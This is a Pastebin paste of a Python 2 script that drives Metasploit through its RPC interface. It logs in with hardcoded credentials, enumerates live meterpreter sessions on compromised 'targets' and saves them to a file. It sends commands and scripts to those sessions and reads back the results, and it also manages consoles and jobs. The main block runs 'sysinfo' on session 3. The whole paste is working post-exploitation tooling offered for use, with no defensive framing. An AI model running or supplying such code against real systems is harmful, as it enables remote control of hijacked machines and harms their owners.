alimp5

results of executed meterpreter CMD in Python-MSFRPC

Apr 7th, 2017
803
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 4.31 KB | None | 0 0
  1. import msfrpc
  2. #[email protected]   <<< My EMail address
  3.  
  4. class windows (object):
  5.   def __init__(self):
  6.     try:
  7.       self.client = msfrpc.Msfrpc({})
  8.       self.client.login('msf', '456789')
  9.     except IOError as error:
  10.       print "Connection Refused :(  Check your connection to metasploit or metasploit's plugin availability..."
  11.       print error.strerror
  12.     except Exception:
  13.       print "An unknown error occurred :(  Contact with support team."
  14.     else:
  15.       print "Script connected to metasploit interface successfully."
  16.  
  17.  
  18.   def meter_sessions (self):
  19.     self.m_sessions = self.client.call('session.list')
  20.     #print "All meterpreter sessions: \n%s\n" % self.m_sessions
  21.     self.sess_id_keys = self.m_sessions.keys()  #session-id of live targets.
  22.  
  23.     if self.sess_id_keys != []:   #checking if we have more than 1 live target, then write its info into a .txt file.
  24.       self.f = open("meter_sessions.txt", "w+")
  25.       for i in range(len(self.sess_id_keys)):
  26.         print "Here:", self.m_sessions[self.sess_id_keys[i]]
  27.         self.f.writelines(str(self.sess_id_keys[i]) + ':' + str(self.m_sessions[self.sess_id_keys[i]]) + "\n")
  28.       self.f.close()
  29.       return self.sess_id_keys  #Checking have we live sessions or no!? at main.
  30.  
  31.  
  32.   def meter_single_cmd (self, sess_id, cmd):
  33.     self.m_single_cmd = self.client.call('session.meterpreter_run_single', [sess_id, cmd])  #we could pass aurgs.
  34.  
  35.  
  36.   def meter_script (self, sess_id, cmd):
  37.     self.m_script = self.client.call('session.meterpreter_script', [sess_id, cmd])  #we could not pass aurgs.
  38.  
  39.  
  40.   def meter_write_cmd (self, sess_id, cmd):
  41.     self.m_write_cmd = self.client.call('session.meterpreter_write', [sess_id, cmd])
  42.  
  43.   def meter_read (self, sess_id):
  44.     m_read = self.client.call('session.meterpreter_read', [sess_id])
  45.     print m_read
  46.     #f = open(sess_id + '_' + cmd.strip("\n \\n ") + ".text", "w+")
  47.     #f.writelines(self.m_read['data'])
  48.     #f.close()
  49.  
  50. ############################################################################################
  51.   def sess_ringPut (self, sess_id, cmd):
  52.     x1 = self.client.call("session.ring_put", [sess_id, cmd])
  53.     print "sess_ringPut", x1
  54.  
  55.   def sess_ringLast (self, sess_id):
  56.     x2 = self.client.call("session.ring_last", [sess_id])
  57.     print "sess_ringLast", x2
  58.  
  59.   def sess_ringClear (self, sess_id):
  60.     x3 = self.client.call("session.ring_clear", [sess_id])
  61.     print "sess_ringClear", x3
  62.  
  63.   def sess_ringRead (self, sess_id):
  64.     x4 = self.client.call("session.ring_read", [sess_id])
  65.     print "sess_ringRead", x4
  66. ############################################################################################
  67. ############################################################################################
  68.   def console_create (self, con_id):
  69.     c_read = self.client.call("console.create", con_id)
  70.     print c_read
  71.  
  72.   def console_list (self):
  73.     c_read = self.client.call("console.list")
  74.     print c_read
  75.  
  76.   def console_destroy (self, con_id):
  77.     c_read = self.client.call("console.destroy", con_id)
  78.     print c_read
  79.  
  80.   def console_write (self, con_id, cmd):
  81.     c_read = self.client.call("console.write", [con_id, cmd])
  82.     print c_read
  83.  
  84.   def console_read (self, con_id):
  85.     c_read = self.client.call("console.read", con_id)
  86.     print c_read
  87. ############################################################################################
  88. ############################################################################################
  89.   def j_list (self):
  90.     self.jobs_list = self.client.call('job.list')   #List of active jobs.
  91.  
  92.   def j_info (self, job_id):
  93.  
  94.     self.jobs_info = self.client.call('job.info', job_id)
  95.  
  96.   def j_stop (self, job_id):
  97.     self.jobs_info = self.client.call('job.stop', job_id)  #Terminate the job.
  98. ############################################################################################
  99. ############################################################################################
  100. if __name__ == '__main__':
  101.   a = windows()
  102.   sess_cheker = a.meter_sessions()
  103.   if sess_cheker != []:
  104.     ## Plz pay attention to result of below CMDs.
  105.     a.meter_single_cmd(3, "sysinfo\n")  #3 is session-id of target in metasploit(via sessions CMD).
  106.     a.meter_read(3)
  107.  
  108.   else:
  109.     print "We haven't live session(s). You should wait for a connection..."
Advertisement
Add Comment
Please, Sign In to add comment